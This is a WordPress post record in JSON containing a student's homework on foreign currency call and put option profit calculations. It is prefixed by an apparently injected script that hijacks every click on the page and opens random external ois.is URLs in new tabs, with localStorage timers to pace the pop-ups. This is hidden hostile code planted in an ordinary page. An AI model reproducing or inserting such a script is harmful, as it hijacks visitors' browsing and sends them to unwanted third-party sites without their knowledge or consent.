<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":957,"date":"2023-04-18T13:03:41","date_gmt":"2023-04-18T05:03:41","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154207\/?p=957"},"modified":"2023-04-27T00:57:09","modified_gmt":"2023-04-26T16:57:09","slug":"%e5%91%a8%e5%ad%90%e7%90%aa%e5%9c%8b%e9%9a%9b%e8%b2%a1%e7%ae%a1%e7%ac%ac%e5%9b%9b%e6%ac%a1%e4%bd%9c%e6%a5%ad","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154207\/?p=957","title":{"rendered":"\u5468\u5b50\u742a\u570b\u969b\u8ca1\u7ba1\u7b2c\u56db\u6b21\u4f5c\u696d"},"content":{"rendered":"<p style=\"font-weight: 400;\">1.<\/p>\n<p style=\"font-weight: 400;\">Remember that the holder of the call option, whoever Mike Suerth has sold the option to,<br \/>\nwill exercise it if S &#8211; X \u2265 0, otherwise she will let the option expire. In this case, S &#8211; X = $0.82 &#8211;<br \/>\n$0.76 = $0.06 \u2265 0; so the holder of the option will exercise it. In that case, the option seller&#8217;s &#8211; Mike<br \/>\nSuerth&#8217;s &#8211; net profit per unit of Canadian dollar is calculated as follows:<br \/>\nNet profit per C$ = Selling price of currency &#8211; Buying price of currency + Premium on the option<br \/>\n= $0.76 &#8211; $0.82 + $0.01 = -$0.05<br \/>\nSince each option contract contains 50,000 units of Canadian dollars,<br \/>\nNet profit per option = 50,000 units \u00d7 (-$.05) = -$2,500<\/p>\n<p style=\"font-weight: 400;\">3.<\/p>\n<p style=\"font-weight: 400;\">Remember that the holder of a put option will exercise it if S &#8211; X \u2264 0, otherwise she will<br \/>\nlet the option expire. In this case, S &#8211; X = $1.59 &#8211; $1.80 = &#8211; $0.21 \u2264 0; so the holder of the option will<br \/>\nexercise it. Her net profit per unit of British pound is calculated as follows:<br \/>\nNet profit per \u20a4 = Selling price of currency &#8211; Buying price of currency &#8211; Premium on the option<br \/>\n= $1.80 &#8211; $1.59 &#8211; $0.04 = $0.17<br \/>\nSince each option contract contains 31,250 units of British pound,<br \/>\nNet profit per option = 31,250 units \u00d7 ($.17) = $5,312.50<\/p>\n<p style=\"font-weight: 400;\">4.<\/p>\n<p style=\"font-weight: 400;\">Remember that the holder of the put option, whoever Bulldog, Inc. has sold the option to,<br \/>\nwill exercise it if S &#8211; X \u2264 0, and the option seller&#8217;s &#8211; Bulldog, Inc.&#8217;s- net profit per unit of currency<br \/>\nwill be calculated as follows:<br \/>\nNet profit per unit = Selling price of currency &#8211; Buying price of currency + Premium on the option.<br \/>\nOtherwise, that is if S &#8211; X &gt; 0, the holder of the put option will let the option expire and the seller,<br \/>\nBulldog, Inc., will walk away with the premium that it had collected at the time of option&#8217;s sale.<\/p>\n<p style=\"font-weight: 400;\">5.<\/p>\n<p style=\"font-weight: 400;\">Remember that the holder of a call option will exercise it if S &#8211; X \u2265 0, otherwise he will<br \/>\nlet the option expire. In this case, S &#8211; X = $1.46 &#8211; $1.45 = $0.01 \u2265 0; so the holder of the option will<br \/>\nexercise it. His net profit per unit of British pound is calculated as follows:<br \/>\nNet profit per \u20a4 = Selling price of currency &#8211; Buying price of currency &#8211; Premium on the option<br \/>\n= $1.46 &#8211; $1.45 &#8211; $0.02 = -$0.01<br \/>\nSince each option contract contains 31,250 units of British pound,<br \/>\nNet profit per option = 31,250 units \u00d7 (-$.01) = -$312.50<\/p>\n<p>8.<\/p>\n<p>Possible Spot Rate Net Profit (Loss) per Unit of Canadian Dollar to Auburn Corporation on Expiration Dateif Spot Rate Occurs <strong>$.76\u00a0 : <\/strong>0.08<\/p>\n<p style=\"font-weight: 400;\"><strong>$.79 :<\/strong> 0.05 .<\/p>\n<p style=\"font-weight: 400;\"><strong>$.84: <\/strong>0<\/p>\n<p style=\"font-weight: 400;\"><strong>$.87:<\/strong> -0.02<\/p>\n<p style=\"font-weight: 400;\"><strong>$.89:<\/strong> -0.02<\/p>\n<p><strong>$.91: <\/strong>-0.02<\/p>\n<p>&nbsp;<\/p>\n<p>\u53c3\u8003\u8cc7\u6599\uff1ahttps:\/\/quizlet.com\/108342971\/chapter-5-questions-flash-cards\/<\/p>\n<p style=\"font-weight: 400;\">\n","protected":false},"excerpt":{"rendered":"<p>1. Remember that the holder of the call <\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/957"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=957"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/957\/revisions"}],"predecessor-version":[{"id":966,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=\/wp\/v2\/posts\/957\/revisions\/966"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154207\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}